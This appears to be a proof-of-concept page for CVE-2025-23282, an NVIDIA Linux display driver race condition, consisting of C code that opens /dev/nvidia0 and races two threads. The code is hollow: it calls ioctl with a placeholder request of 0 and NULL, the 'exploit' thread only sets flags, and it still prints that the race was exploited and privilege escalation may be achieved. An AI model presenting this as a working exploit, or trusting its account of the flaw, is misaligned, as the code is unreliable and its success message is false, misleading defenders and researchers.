CVE-2025-23282：NVIDIA Linux显示驱动竞争条件权限提升漏洞

# CVE-2025-23282 - NVIDIA Linux Display Driver Race Condition PoC # This is a conceptual PoC demonstrating the race condition exploitation technique # targeting NVIDIA Display Driver privilege escalation vulnerability. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #define NVIDIA_DEVICE "/dev/nvidia0" // Shared state variable for race condition exploitation volatile int shared_state = 0; volatile int race_window = 0; // Thread 1: Trigger driver code path to set up privileged operation void* trigger_driver_path(void* arg) { int fd = open(NVIDIA_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open NVIDIA device"); return NULL; } printf("[*] Thread 1: Triggering privileged driver operation...\n"); // Continuously invoke IOCTL to trigger the vulnerable code path while (!race_window) { // IOCTL call that initiates a privileged operation // The vulnerability lies in the lack of proper synchronization // between the permission check and the actual privileged action ioctl(fd, /* NVIDIA specific IOCTL */ 0, NULL); // Signal that the driver path has been triggered shared_state = 1; } close(fd); return NULL; } // Thread 2: Exploit the race window to modify shared resource void* exploit_race(void* arg) { printf("[*] Thread 2: Waiting for race window...\n"); // Wait for the driver to enter the vulnerable code path while (!shared_state) { usleep(1); } // Exploit the race window: modify shared resource before // the driver completes its privileged operation printf("[*] Thread 2: Exploiting race window...\n"); race_window = 1; // The race condition allows modifying the state that the // privileged operation depends on, bypassing permission checks // and achieving privilege escalation printf("[+] Race condition exploited - privilege escalation may be achieved\n"); return NULL; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-23282 PoC - NVIDIA Display Driver Race Condition\n"); printf("[*] Target: NVIDIA Display Driver for Linux\n\n"); pthread_t t1, t2; // Create two threads to exploit the race condition pthread_create(&t1, NULL, trigger_driver_path, NULL); pthread_create(&t2, NULL, exploit_race, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[*] PoC execution completed\n"); return 0; }